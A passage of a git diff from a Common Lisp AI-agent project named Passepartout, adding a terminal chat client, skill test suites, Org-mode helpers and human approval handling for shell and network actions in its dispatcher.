(setf (st :dirty) (list t t nil)))
|
||||
|
||||
(defun queue-event (ev)
|
||||
(bt:with-lock-held (*event-lock*) (push ev *event-queue*)))
|
||||
|
||||
(defun drain-queue ()
|
||||
(bt:with-lock-held (*event-lock*)
|
||||
(let ((evs (nreverse *event-queue*)))
|
||||
(setf *event-queue* nil) evs)))
|
||||
60
lisp/gateway-tui-view.lisp
Normal file
60
lisp/gateway-tui-view.lisp
Normal file
@@ -0,0 +1,60 @@
|
||||
(in-package :passepartout.gateway-tui)
|
||||
|
||||
(defun view-status (win)
|
||||
(clear win)
|
||||
(box win 0 0)
|
||||
(add-string win
|
||||
(format nil " Passepartout ~a [~a] msgs:~a scroll:~a~a"
|
||||
(if (st :connected) "● Connected" "○ Disconnected")
|
||||
(string-upcase (string (st :mode)))
|
||||
(length (st :messages))
|
||||
(if (> (st :scroll-offset) 0) (format nil "~a↑" (st :scroll-offset)) "0")
|
||||
(if (st :busy) " …thinking" ""))
|
||||
:y 1 :x 1 :fgcolor (theme-color (if (st :connected) :connected :disconnected)))
|
||||
(add-string win (format nil " ~a" (now)) :y 2 :x 1 :fgcolor (theme-color :timestamp))
|
||||
(refresh win))
|
||||
|
||||
(defun view-chat (win h)
|
||||
(clear win)
|
||||
(box win 0 0)
|
||||
(let* ((w (or (width win) 78))
|
||||
(msgs (reverse (st :messages)))
|
||||
(max-lines (- h 2))
|
||||
(total (length msgs))
|
||||
(start (max 0 (- total max-lines (st :scroll-offset))))
|
||||
(y 1))
|
||||
(loop for i from start below total
|
||||
while (< y (1- h))
|
||||
do (let ((msg (nth i msgs)))
|
||||
(let* ((role (getf msg :role))
|
||||
(content (getf msg :content))
|
||||
(time (or (getf msg :time) ""))
|
||||
(label (case role
|
||||
(:user (format nil "⬆ [~a] ~a" time content))
|
||||
(:agent (format nil "⬇ [~a] ~a" time content))
|
||||
(:system (format nil " [~a] ~a" time content))
|
||||
(t (format nil " [~a] ~a" time content))))
|
||||
(color (theme-color (case role
|
||||
(:user :user)
|
||||
(:agent :agent)
|
||||
(:system :system)
|
||||
(t :agent)))))
|
||||
(add-string win label :y y :x 1 :n (1- w) :fgcolor color)
|
||||
(incf y)))))
|
||||
(refresh win))
|
||||
|
||||
(defun view-input (win)
|
||||
(let* ((text (input-string))
|
||||
(w (or (width win) 78))
|
||||
(clip (min (length text) (1- w))))
|
||||
(clear win)
|
||||
(add-string win (format nil "~a " text) :y 0 :x 0 :n (1- w) :fgcolor (theme-color :input))
|
||||
(setf (cursor-position win) (list 0 clip)))
|
||||
(refresh win))
|
||||
|
||||
(defun redraw (sw cw ch iw)
|
||||
(destructuring-bind (sd cd id) (st :dirty)
|
||||
(when sd (view-status sw))
|
||||
(when cd (view-chat cw ch))
|
||||
(when id (view-input iw))
|
||||
(setf (st :dirty) (list nil nil nil))))
|
||||
@@ -1,155 +0,0 @@
|
||||
(in-package :cl-user)
|
||||
(defpackage :passepartout.gateway-tui
|
||||
(:use :cl :croatoan :usocket :bordeaux-threads)
|
||||
(:export :main))
|
||||
(in-package :passepartout.gateway-tui)
|
||||
|
||||
(defvar *daemon-host* "localhost")
|
||||
|
||||
(defvar *daemon-port* 9105)
|
||||
|
||||
(defvar *socket* nil)
|
||||
|
||||
(defvar *stream* nil)
|
||||
|
||||
(defvar *chat-history* nil)
|
||||
|
||||
(defvar *input-buffer* nil)
|
||||
|
||||
(defvar *is-running* t)
|
||||
|
||||
(defvar *queue-lock* (bt:make-lock "incoming-queue-lock"))
|
||||
|
||||
(defvar *incoming* nil)
|
||||
|
||||
(defun log-debug (msg &rest args)
|
||||
(ignore-errors
|
||||
(with-open-file (s "/tmp/passepartout-tui-debug.log" :direction :output :if-exists :append :if-does-not-exist :create)
|
||||
(format s "[~a] " (get-universal-time))
|
||||
(apply #'format s msg args)
|
||||
(terpri s)
|
||||
(finish-output s))))
|
||||
|
||||
(defun message-queue-push (msg)
|
||||
(bt:with-lock-held (*queue-lock*)
|
||||
(setf *incoming* (append *incoming* (list msg)))))
|
||||
|
||||
(defun message-queue-drain ()
|
||||
(bt:with-lock-held (*queue-lock*)
|
||||
(let ((msgs *incoming*))
|
||||
(setf *incoming* nil)
|
||||
msgs)))
|
||||
|
||||
(defun chat-render (win h)
|
||||
(when (and win (integerp h))
|
||||
(clear win)
|
||||
(box win 0 0)
|
||||
(let* ((view-height (- h 2))
|
||||
(history (copy-list *chat-history*))
|
||||
(len (length history))
|
||||
(num-to-draw (min len view-height))
|
||||
(slice (subseq history 0 num-to-draw)))
|
||||
(loop for i from 0 below num-to-draw
|
||||
for msg in (reverse slice)
|
||||
do (when msg
|
||||
(add-string win (format nil "│ ~a" msg) :y (1+ i) :x 2))))
|
||||
(refresh win)))
|
||||
|
||||
(defun input-backspace ()
|
||||
(pop *input-buffer*))
|
||||
|
||||
(defun input-submit (stream)
|
||||
(let ((cmd (coerce (reverse *input-buffer*) 'string)))
|
||||
(setf *input-buffer* nil)
|
||||
(log-debug "SUBMITTING: '~a'" cmd)
|
||||
(when (> (length cmd) 0)
|
||||
(push (format nil "⬆ ~a" cmd) *chat-history*)
|
||||
(handler-case
|
||||
(progn
|
||||
(if (and stream (open-stream-p stream))
|
||||
(let* ((msg (list :TYPE :EVENT
|
||||
:META (list :SOURCE :tui)
|
||||
:PAYLOAD (list :SENSOR :user-input :TEXT cmd)))
|
||||
(payload (format nil "~s" msg))
|
||||
(len (length payload)))
|
||||
(format stream "~6,'0x~a" len payload)
|
||||
(finish-output stream)
|
||||
(log-debug "SENT WIRE: ~a" payload))
|
||||
(push "ERROR: Not connected." *chat-history*)))
|
||||
(error (c)
|
||||
(log-debug "SEND ERROR: ~a" c)
|
||||
(push (format nil "ERROR: ~a" c) *chat-history*)
|
||||
(setf *is-running* nil))))
|
||||
(when (string= cmd "/exit") (setf *is-running* nil))
|
||||
(when (string= cmd "/clear") (setf *chat-history* nil))))
|
||||
|
||||
(defun reader-start (stream)
|
||||
(bt:make-thread
|
||||
(lambda ()
|
||||
(loop while *is-running* do
|
||||
(handler-case
|
||||
(let* ((len-buf (make-string 6))
|
||||
(count (read-sequence len-buf stream)))
|
||||
(if (= count 6)
|
||||
(let* ((msg-len (parse-integer len-buf :radix 16))
|
||||
(msg-buf (make-string msg-len)))
|
||||
(read-sequence msg-buf stream)
|
||||
(log-debug "DAEMON MSG: ~a" msg-buf)
|
||||
(let ((msg (read-from-string msg-buf)))
|
||||
(let ((payload (getf msg :payload)))
|
||||
(cond
|
||||
((eq (getf payload :action) :handshake)
|
||||
(message-queue-push "* Connected *"))
|
||||
(t
|
||||
(let ((text (or (getf payload :text) (format nil "~a" payload))))
|
||||
(message-queue-push (format nil "⬇ ~a" text))))))))
|
||||
(sleep 0.05)))
|
||||
(error (c)
|
||||
(when *is-running*
|
||||
(log-debug "READER ERROR: ~a" c)
|
||||
(message-queue-push "ERROR: Connection lost.")
|
||||
(setf *is-running* nil))))))
|
||||
:name "passepartout-tui-reader"))
|
||||
|
||||
(defun main ()
|
||||
(log-debug "=== START ===")
|
||||
(handler-case
|
||||
(setf *socket* (usocket:socket-connect *daemon-host* *daemon-port*))
|
||||
(error (e) (format t "Offline: ~a~%" e) (return-from main)))
|
||||
(setf *stream* (usocket:socket-stream *socket*))
|
||||
|
||||
(unwind-protect
|
||||
(with-screen (scr :input-echoing nil :input-blocking nil :enable-colors t)
|
||||
(let* ((h (or (height scr) 24))
|
||||
(w (or (width scr) 80))
|
||||
(chat-h (- h 4))
|
||||
(chat-win (make-instance 'window :height chat-h :width (- w 2) :y 1 :x 1))
|
||||
(input-win (make-instance 'window :height 1 :width (- w 2) :y (- h 2) :x 1)))
|
||||
(setf (input-blocking input-win) nil)
|
||||
(reader-start *stream*)
|
||||
(loop :while *is-running* :do
|
||||
(let ((msgs (message-queue-drain)))
|
||||
(when msgs
|
||||
(dolist (m msgs) (push m *chat-history*))
|
||||
(chat-render chat-win chat-h)))
|
||||
(let ((ch (get-char input-win)))
|
||||
(when (and ch (not (equal ch -1)))
|
||||
(log-debug "KEY: ~s" ch)
|
||||
(cond
|
||||
((or (eql ch 10) (eql ch 13) (eq ch :enter) (eql ch #\Newline) (eql ch #\Return))
|
||||
(input-submit *stream*)
|
||||
(chat-render chat-win chat-h))
|
||||
((or (eql ch 127) (eql ch 8) (eq ch :backspace) (eql ch #\Backspace))
|
||||
(input-backspace))
|
||||
((characterp ch)
|
||||
(push ch *input-buffer*))
|
||||
((integerp ch)
|
||||
(let ((converted (code-char ch)))
|
||||
(when (graphic-char-p converted)
|
||||
(push converted *input-buffer*))))))
|
||||
(clear input-win)
|
||||
(add-string input-win (format nil "▶ ~a" (coerce (reverse *input-buffer*) 'string)) :y 0 :x 1)
|
||||
(refresh input-win))
|
||||
(sleep 0.01))))
|
||||
(setf *is-running* nil)
|
||||
(when *socket* (ignore-errors (usocket:socket-close *socket*)))))
|
||||
@@ -1,3 +1,5 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun lisp-structural-check (code)
|
||||
"Checks if parentheses are balanced and the code is readable."
|
||||
(handler-case
|
||||
@@ -159,43 +161,53 @@
|
||||
(in-suite utils-lisp-suite)
|
||||
|
||||
(test structural-balanced
|
||||
"Contract 1: balanced code returns T."
|
||||
(is (eq t (passepartout:lisp-structural-check "(+ 1 2)"))))
|
||||
|
||||
(test structural-unbalanced-open
|
||||
"Contract 1: missing close paren returns nil + error."
|
||||
(multiple-value-bind (ok reason) (passepartout:lisp-structural-check "(+ 1 2")
|
||||
(is (null ok))
|
||||
(is (search "Reader Error" reason))))
|
||||
|
||||
(test structural-unbalanced-close
|
||||
"Contract 1: extra close paren returns nil + error."
|
||||
(multiple-value-bind (ok reason) (passepartout:lisp-structural-check "+ 1 2)")
|
||||
(is (null ok))
|
||||
(is (search "Reader Error" reason))))
|
||||
|
||||
(test syntactic-valid
|
||||
"Contract 2: valid syntax passes syntactic check."
|
||||
(is (eq t (passepartout:lisp-syntactic-check "(+ 1 2)"))))
|
||||
|
||||
(test semantic-safe
|
||||
"Contract 3: safe code passes semantic check."
|
||||
(is (eq t (passepartout:lisp-semantic-check "(+ 1 2)"))))
|
||||
|
||||
(test semantic-blocked-eval
|
||||
"Contract 3: eval forms are blocked by semantic check."
|
||||
(multiple-value-bind (ok reason) (passepartout:lisp-semantic-check "(eval '(+ 1 2))")
|
||||
(is (null ok))
|
||||
(is (search "Unsafe" reason))))
|
||||
|
||||
(test unified-success
|
||||
"Contract 4: valid code returns :success via lisp-validate."
|
||||
(let ((result (passepartout:lisp-validate "(+ 1 2)" :strict t)))
|
||||
(is (eq (getf result :status) :success))))
|
||||
|
||||
(test unified-failure
|
||||
"Contract 4: invalid code returns :error via lisp-validate."
|
||||
(let ((result (passepartout:lisp-validate "(+ 1 2" :strict nil)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
(test eval-basic
|
||||
"Contract 5: lisp-eval returns :success with captured result."
|
||||
(let ((result (passepartout:lisp-eval "(+ 1 2)")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (string= (getf result :result) "3"))))
|
||||
|
||||
(test structural-extract
|
||||
"Contract 6: lisp-extract finds and returns a named function."
|
||||
(let* ((code "(defun hello () (print \"hi\")) (defun bye () (print \"bye\"))")
|
||||
(extracted (passepartout:lisp-extract code "hello")))
|
||||
(is (not (null extracted)))
|
||||
@@ -204,6 +216,7 @@
|
||||
(is (eq (second form) 'HELLO)))))
|
||||
|
||||
(test list-definitions
|
||||
"Contract 7: lisp-list-definitions returns all defined names."
|
||||
(let ((code "(defun foo () t) (defmacro bar () nil) (defparameter *baz* 10)"))
|
||||
(let ((names (passepartout:lisp-list-definitions code)))
|
||||
(is (member 'FOO names))
|
||||
@@ -211,12 +224,14 @@
|
||||
(is (member '*BAZ* names)))))
|
||||
|
||||
(test structural-inject
|
||||
"Contract 8: lisp-inject adds a form to a function body."
|
||||
(let* ((code "(defun my-fun (x) (print x))")
|
||||
(injected (passepartout:lisp-inject code "my-fun" "(finish-output)")))
|
||||
(let ((form (read-from-string injected)))
|
||||
(is (equal (last form) '((FINISH-OUTPUT)))))))
|
||||
|
||||
(test structural-slurp
|
||||
"Contract 9: lisp-slurp appends a form to a function body."
|
||||
(let* ((code "(defun work () (step-1))")
|
||||
(slurped (passepartout:lisp-slurp code "work" "(step-2)")))
|
||||
(let ((form (read-from-string slurped)))
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun literate-extract-lisp-blocks (content)
|
||||
"Extracts all #+begin_src lisp ... #+end_src blocks from Org CONTENT.
|
||||
Returns a list of block strings."
|
||||
@@ -62,3 +64,40 @@ contents of the Lisp file. Returns T if they match, or an error message."
|
||||
(defskill :passepartout-programming-literate
|
||||
:priority 300
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-programming-literate-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:literate-suite))
|
||||
|
||||
(in-package :passepartout-programming-literate-tests)
|
||||
|
||||
(def-suite literate-suite :description "Verification of the Literate Programming skill")
|
||||
(in-suite literate-suite)
|
||||
|
||||
(test test-extract-lisp-blocks
|
||||
"Contract 1: extracts lisp from #+begin_src blocks."
|
||||
(let* ((org-content (format nil "#+begin_src lisp~%(+ 1 2)~%#+end_src~%#+begin_src lisp~%(+ 3 4)~%#+end_src"))
|
||||
(extracted (literate-extract-lisp-blocks org-content)))
|
||||
(let ((joined (format nil "~{~a~^~%~}" extracted)))
|
||||
(is (search "(+ 1 2)" joined))
|
||||
(is (search "(+ 3 4)" joined)))))
|
||||
|
||||
(test test-block-balance-check-valid
|
||||
"Contract 2: balanced parens return T."
|
||||
(is (eq t (literate-block-balance-check
|
||||
(merge-pathnames "org/core-loop.org"
|
||||
(uiop:ensure-directory-pathname
|
||||
(uiop:getenv "PASSEPARTOUT_DATA_DIR")))))))
|
||||
|
||||
(test test-block-balance-check-missing-close
|
||||
"Contract 2: unbalanced parens return non-T."
|
||||
(is (not (eq t (literate-block-balance-check "org/nonexistent-file-xyz.org")))))
|
||||
|
||||
(test test-tangle-sync-check
|
||||
"Contract 3: literate-tangle-sync-check verifies org matches tangled lisp."
|
||||
(let ((result (literate-tangle-sync-check "org/core-loop.org" "lisp/core-loop.lisp")))
|
||||
(is (or (eq t result) (stringp result))
|
||||
"Should return T or a mismatch description")))
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun org-filetags-extract (content)
|
||||
"Extracts the list of tags from a #+FILETAGS: line."
|
||||
(let ((lines (uiop:split-string content :separator '(#\Newline))))
|
||||
@@ -16,9 +18,9 @@
|
||||
(some (lambda (tag)
|
||||
(some (lambda (private-tag)
|
||||
(string-equal (string-trim '(#\: #\space) tag)
|
||||
(string-trim '(#\: #\space) private-tag))
|
||||
(string-trim '(#\: #\space) private-tag)))
|
||||
privacy-tags))
|
||||
tags-list)))))
|
||||
tags-list))))
|
||||
|
||||
(defun org-privacy-strip (content)
|
||||
"Removes Org headlines whose :TAGS: property contains a privacy-filtered tag.
|
||||
@@ -140,7 +142,46 @@ Returns the filtered content as a string."
|
||||
(when (listp child)
|
||||
(let ((found (org-headline-find-by-title child title)))
|
||||
(when found (return-from org-headline-find-by-title found)))))
|
||||
nil))
|
||||
nil))
|
||||
|
||||
(defun org-subtree-extract (org-content heading-name)
|
||||
"Extracts a subtree by heading name from Org text. Returns the subtree
|
||||
content as a string (headline + body + children), or nil if not found."
|
||||
(let* ((lines (uiop:split-string org-content :separator '(#\Newline)))
|
||||
(target-depth nil)
|
||||
(in-target nil)
|
||||
(result nil))
|
||||
(loop for line in lines
|
||||
for trimmed = (string-trim '(#\Space) line)
|
||||
do (let ((depth (when (uiop:string-prefix-p "*" trimmed)
|
||||
(length (subseq trimmed 0
|
||||
(position-if (lambda (c) (not (char= c #\*)))
|
||||
trimmed)))))
|
||||
(headline-title (when (uiop:string-prefix-p "*" trimmed)
|
||||
(string-trim '(#\* #\Space) trimmed))))
|
||||
(when depth
|
||||
(when (string-equal headline-title heading-name)
|
||||
(setf target-depth depth in-target t))
|
||||
(when (and in-target target-depth
|
||||
(<= depth target-depth)
|
||||
(not (string-equal headline-title heading-name)))
|
||||
(return-from org-subtree-extract
|
||||
(format nil "~{~a~^~%~}" (nreverse result)))))
|
||||
(when in-target (push line result))))
|
||||
(when result
|
||||
(format nil "~{~a~^~%~}" (nreverse result)))))
|
||||
|
||||
(defun org-heading-list (org-content)
|
||||
"Returns a list of all top-level heading names in Org text."
|
||||
(let* ((lines (uiop:split-string org-content :separator '(#\Newline)))
|
||||
(headings nil))
|
||||
(dolist (line lines)
|
||||
(let ((trimmed (string-trim '(#\Space) line)))
|
||||
(when (uiop:string-prefix-p "* " trimmed)
|
||||
(let ((title (string-trim '(#\* #\Space) trimmed)))
|
||||
(unless (find title headings :test #'string-equal)
|
||||
(push title headings))))))
|
||||
(nreverse headings)))
|
||||
|
||||
(defun org-modify (filepath old-text new-text)
|
||||
"Replaces all occurrences of OLD-TEXT with NEW-TEXT in filepath.
|
||||
@@ -178,7 +219,7 @@ AST format: (:TYPE :HEADLINE :properties (:ID ... :TITLE ... :TAGS (...))
|
||||
;; Headline
|
||||
(setf output (format nil "~a~@[ ~a~] ~a" stars todo title))
|
||||
(when tags
|
||||
(let ((tag-str (format nil "~{~a~^:~}" (mapcar (lambda (t) (string-trim '(#\:) t)) tags))))
|
||||
(let ((tag-str (format nil "~{~a~^:~}" (mapcar (lambda (tag) (string-trim '(#\:) tag)) tags))))
|
||||
(setf output (concatenate 'string output (format nil " :~a::~%" tag-str))))
|
||||
(setf output (concatenate 'string output (string #\Newline))))
|
||||
(unless tags
|
||||
@@ -204,6 +245,9 @@ AST format: (:TYPE :HEADLINE :properties (:ID ... :TITLE ... :TAGS (...))
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ignore-errors (ql:quickload :fiveam :silent t)))
|
||||
|
||||
(defpackage :passepartout-utils-org-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:utils-org-suite))
|
||||
@@ -216,16 +260,19 @@ AST format: (:TYPE :HEADLINE :properties (:ID ... :TITLE ... :TAGS (...))
|
||||
(in-suite utils-org-suite)
|
||||
|
||||
(test id-generation
|
||||
"Contract 1: org-id-generate returns unique UUID strings."
|
||||
(let ((id1 (org-id-generate))
|
||||
(id2 (org-id-generate)))
|
||||
(is (plusp (length id1)))
|
||||
(is (not (string= id1 id2)))))
|
||||
|
||||
(test id-format
|
||||
"Contract 2: org-id-format ensures 'id:' prefix."
|
||||
(let ((formatted (org-id-format "abc12345")))
|
||||
(is (search "id:" formatted))))
|
||||
|
||||
(test property-setter
|
||||
"Contract 3: org-property-set modifies a property on a headline."
|
||||
(let ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "id:test123" :TITLE "Test")
|
||||
:contents nil)))
|
||||
@@ -233,8 +280,33 @@ AST format: (:TYPE :HEADLINE :properties (:ID ... :TITLE ... :TAGS (...))
|
||||
(is (string= (getf (getf ast :properties) :STATUS) "ACTIVE"))))
|
||||
|
||||
(test todo-setter
|
||||
"Contract 4: org-todo-set changes TODO state via org-property-set."
|
||||
(let ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "id:todo001" :TITLE "Task")
|
||||
:contents nil)))
|
||||
(org-todo-set ast "id:todo001" "DONE")
|
||||
(is (string= (getf (getf ast :properties) :TODO) "DONE"))))
|
||||
|
||||
(test test-org-headline-add
|
||||
"Contract 5: org-headline-add inserts a child headline."
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "root" :TITLE "Root")
|
||||
:contents nil)))
|
||||
(is (eq t (org-headline-add ast "root" "New Child")))
|
||||
(is (= 1 (length (getf ast :contents))))
|
||||
(is (string= "New Child" (getf (getf (first (getf ast :contents)) :properties) :TITLE)))))
|
||||
|
||||
(test test-org-headline-find-by-id
|
||||
"Contract 6: org-headline-find-by-id finds a headline by ID."
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "root" :TITLE "Root")
|
||||
:contents
|
||||
(list (list :type :HEADLINE
|
||||
:properties (list :ID "child1" :TITLE "Child"))
|
||||
(list :type :HEADLINE
|
||||
:properties (list :ID "child2" :TITLE "Child 2"))))))
|
||||
(let ((found (org-headline-find-by-id ast "child2")))
|
||||
(is (not (null found)))
|
||||
(is (string= "Child 2" (getf (getf found :properties) :TITLE))))
|
||||
(let ((missing (org-headline-find-by-id ast "nonexistent")))
|
||||
(is (null missing) "Missing ID should return nil"))))
|
||||
|
||||
@@ -103,6 +103,30 @@ REPL Skill Commands:
|
||||
- Show this message
|
||||
"))
|
||||
|
||||
(defun repl-handle (signal)
|
||||
"Pre-reason handler for :repl-eval sensor. Evaluates code and
|
||||
writes the result back through the reply-stream."
|
||||
(let* ((payload (getf signal :payload))
|
||||
(code (getf payload :code))
|
||||
(stream (getf (getf signal :meta) :reply-stream))
|
||||
(result (multiple-value-bind (val out err)
|
||||
(repl-eval code)
|
||||
(if err
|
||||
(list :status :error :message err)
|
||||
(list :status :success :value (or val ""))))))
|
||||
(when stream
|
||||
(handler-case
|
||||
(progn
|
||||
(write-sequence (frame-message result) stream)
|
||||
(finish-output stream))
|
||||
(error (c)
|
||||
(log-message "REPL-EVAL: Failed to write response: ~a" c))))
|
||||
;; Return T to signal the message was consumed
|
||||
t))
|
||||
|
||||
;; Register the handler at load time
|
||||
(register-pre-reason-handler :repl-eval #'repl-handle)
|
||||
|
||||
(defun repl-mandate (context)
|
||||
"Returns REPL-first engineering mandate when context involves code editing."
|
||||
(let ((raw (or (proto-get (proto-get context :payload) :text) "")))
|
||||
@@ -122,3 +146,38 @@ REPL Skill Commands:
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil)
|
||||
:deterministic (lambda (action ctx) (declare (ignore action ctx)) nil)
|
||||
:system-prompt-augment #'repl-mandate)
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-programming-repl-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:repl-suite))
|
||||
|
||||
(in-package :passepartout-programming-repl-tests)
|
||||
|
||||
(def-suite repl-suite :description "Verification of the REPL skill")
|
||||
(in-suite repl-suite)
|
||||
|
||||
(test test-repl-eval-success
|
||||
"Contract 1: repl-eval returns result and no error for valid code."
|
||||
(multiple-value-bind (result output error) (repl-eval "(+ 1 2)")
|
||||
(is (equal "3" result))
|
||||
(is (null error))))
|
||||
|
||||
(test test-repl-eval-error
|
||||
"Contract 1: repl-eval returns error message for invalid code."
|
||||
(multiple-value-bind (result output error) (repl-eval "(+ 1 ")
|
||||
(is (null result))
|
||||
(is (stringp error))))
|
||||
|
||||
(test test-repl-inspect-found
|
||||
"Contract 2: repl-inspect returns description for a bound symbol."
|
||||
(let ((desc (repl-inspect "+" :package :cl)))
|
||||
(is (search "+" desc))))
|
||||
|
||||
(test test-repl-list-vars
|
||||
"Contract 3: repl-list-vars returns a list of symbol name strings."
|
||||
(let ((vars (repl-list-vars :package :keyword)))
|
||||
(is (listp vars))
|
||||
(is (member "PASSEPARTOUT" vars :test #'string-equal))))
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun standards-git-clean-p (dir)
|
||||
"Checks if a directory has uncommitted changes."
|
||||
(let ((status (uiop:run-program (list "git" "-C" (namestring dir) "status" "--porcelain")
|
||||
@@ -7,14 +9,14 @@
|
||||
|
||||
(defun standards-lisp-verify (code)
|
||||
"Enforces Lisp structural and semantic standards using utils-lisp."
|
||||
(let ((result (utils-lisp-validate code :strict t)))
|
||||
(let ((result (lisp-validate code :strict t)))
|
||||
(if (eq (getf result :status) :success)
|
||||
t
|
||||
(error (getf result :reason)))))
|
||||
|
||||
(defun standards-lisp-format (code)
|
||||
"Ensures Lisp code adheres to formatting standards."
|
||||
(utils-lisp-format code))
|
||||
(lisp-format code))
|
||||
|
||||
(defskill :passepartout-programming-standards
|
||||
:priority 100
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *dispatcher-network-whitelist*
|
||||
'("api.telegram.org" "matrix.org" "googleapis.com" "openai.com" "anthropic.com")
|
||||
"Domains the Bouncer considers safe for outbound connections.")
|
||||
@@ -270,7 +272,8 @@ privacy tags, privacy text, shell safety, network exfil, high-impact approval."
|
||||
(and (eq target :tool) (equal (proto-get payload :tool) "shell")))
|
||||
(dispatcher-check-network-exfil cmd))
|
||||
(log-message "SECURITY WARNING: External network call detected. Queuing for approval.")
|
||||
(list :type :EVENT :payload (list :sensor :approval-required :action action)))
|
||||
(list :type :EVENT :level :approval-required
|
||||
:payload (list :sensor :approval-required :action action)))
|
||||
|
||||
;; Vector 8: High-impact action approval
|
||||
((or (member target '(:shell))
|
||||
@@ -282,25 +285,29 @@ privacy tags, privacy text, shell safety, network exfil, high-impact approval."
|
||||
|
||||
(defun dispatcher-approvals-process ()
|
||||
"Scans for APPROVED flight plans and re-injects them."
|
||||
(let ((approved-nodes (list-objects-with-attribute :TODO "APPROVED"))
|
||||
(let ((approved-nodes (memory-objects-by-attribute :TODO "APPROVED"))
|
||||
(found-any nil))
|
||||
(dolist (node approved-nodes)
|
||||
(let* ((attrs (org-object-attributes node))
|
||||
(let* ((attrs (memory-object-attributes node))
|
||||
(tags (getf attrs :TAGS))
|
||||
(action-str (getf attrs :ACTION)))
|
||||
(when (and (member "FLIGHT_PLAN" tags :test #'string-equal) action-str)
|
||||
(log-message "BOUNCER: Found approved flight plan '~a'. Re-injecting..." (org-object-id node))
|
||||
(log-message "BOUNCER: Found approved flight plan '~a'. Re-injecting..." (memory-object-id node))
|
||||
(let ((action (ignore-errors (read-from-string action-str))))
|
||||
(when action
|
||||
(setf (getf action :approved) t)
|
||||
(inject-stimulus action)
|
||||
(setf (getf (org-object-attributes node) :TODO) "DONE")
|
||||
(stimulus-inject (list :type :EVENT
|
||||
:payload (list :sensor :approval-required
|
||||
:action action
|
||||
:approved t)
|
||||
:meta (list :source :system)))
|
||||
(setf (getf (memory-object-attributes node) :TODO) "DONE")
|
||||
(setq found-any t))))))
|
||||
found-any))
|
||||
|
||||
(defun dispatcher-flight-plan-create (blocked-action)
|
||||
"Creates a Flight Plan node for manual approval."
|
||||
(let ((id (org-id-new)))
|
||||
"Creates a Flight Plan node for manual approval in Emacs."
|
||||
(let ((id (remove #\- (princ-to-string (uuid:make-v4-uuid)))))
|
||||
(log-message "BOUNCER: Creating flight plan node '~a'..." id)
|
||||
(list :type :REQUEST :target :emacs
|
||||
:payload (list :action :insert-node :id id
|
||||
@@ -308,6 +315,75 @@ privacy tags, privacy text, shell safety, network exfil, high-impact approval."
|
||||
:TODO "PLAN" :TAGS '("FLIGHT_PLAN")
|
||||
:ACTION (format nil "~s" blocked-action))))))
|
||||
|
||||
(defvar *hitl-pending* (make-hash-table :test 'equal)
|
||||
"Maps correlation token → blocked-action plist for pending HITL approvals.")
|
||||
|
||||
(defun hitl-create (blocked-action)
|
||||
"Saves a blocked action for HITL approval. Returns a plist with
|
||||
:token (the correlation ID) and :message (user-facing text)."
|
||||
(let* ((token (format nil "HITL-~a" (subseq (remove #\- (princ-to-string (uuid:make-v4-uuid))) 0 8))))
|
||||
(setf (gethash token *hitl-pending*) blocked-action)
|
||||
(log-message "HITL: Created pending approval ~a" token)
|
||||
(list :token token
|
||||
:message (format nil "HITL: Action requires approval [~a]. Reply /approve ~a to approve." token token))))
|
||||
|
||||
(defun hitl-approve (token)
|
||||
"Approves a pending HITL action by token. Re-injects with :approved t.
|
||||
Returns T if found and approved, nil if token is invalid."
|
||||
(let ((action (gethash token *hitl-pending*)))
|
||||
(if action
|
||||
(progn
|
||||
(remhash token *hitl-pending*)
|
||||
(setf (getf action :approved) t)
|
||||
(stimulus-inject (list :type :EVENT
|
||||
:payload (list :sensor :approval-required
|
||||
:action action
|
||||
:approved t)
|
||||
:meta (list :source :system)))
|
||||
(log-message "HITL: Approved ~a — re-injected" token)
|
||||
t)
|
||||
(progn
|
||||
(log-message "HITL: Token ~a not found in pending" token)
|
||||
nil))))
|
||||
|
||||
(defun hitl-deny (token)
|
||||
"Denies a pending HITL action by token. Removes it from the pending store.
|
||||
Returns T if found, nil if token is invalid."
|
||||
(if (gethash token *hitl-pending*)
|
||||
(progn
|
||||
(remhash token *hitl-pending*)
|
||||
(log-message "HITL: Denied ~a" token)
|
||||
t)
|
||||
(progn
|
||||
(log-message "HITL: Token ~a not found in pending" token)
|
||||
nil)))
|
||||
|
||||
(defun hitl-handle-message (text &optional source)
|
||||
"Checks if TEXT is a HITL approval or denial command.
|
||||
If it matches, processes the command and returns T.
|
||||
Otherwise returns nil (text should be handled as normal input).
|
||||
Recognized formats:
|
||||
/approve HITL-abc123
|
||||
/deny HITL-abc123
|
||||
approve HITL-abc123
|
||||
deny HITL-abc123"
|
||||
(let ((text (string-trim '(#\Space) (or text ""))))
|
||||
(when (or (uiop:string-prefix-p (string-downcase "/approve") (string-downcase text))
|
||||
(uiop:string-prefix-p (string-downcase "approve") (string-downcase text)))
|
||||
(let* ((parts (uiop:split-string text :separator '(#\Space #\Tab)))
|
||||
(token (when (> (length parts) 1) (second parts))))
|
||||
(when (and token (hitl-approve token))
|
||||
(log-message "HITL: Approved via ~a — ~a" (or source :unknown) token)
|
||||
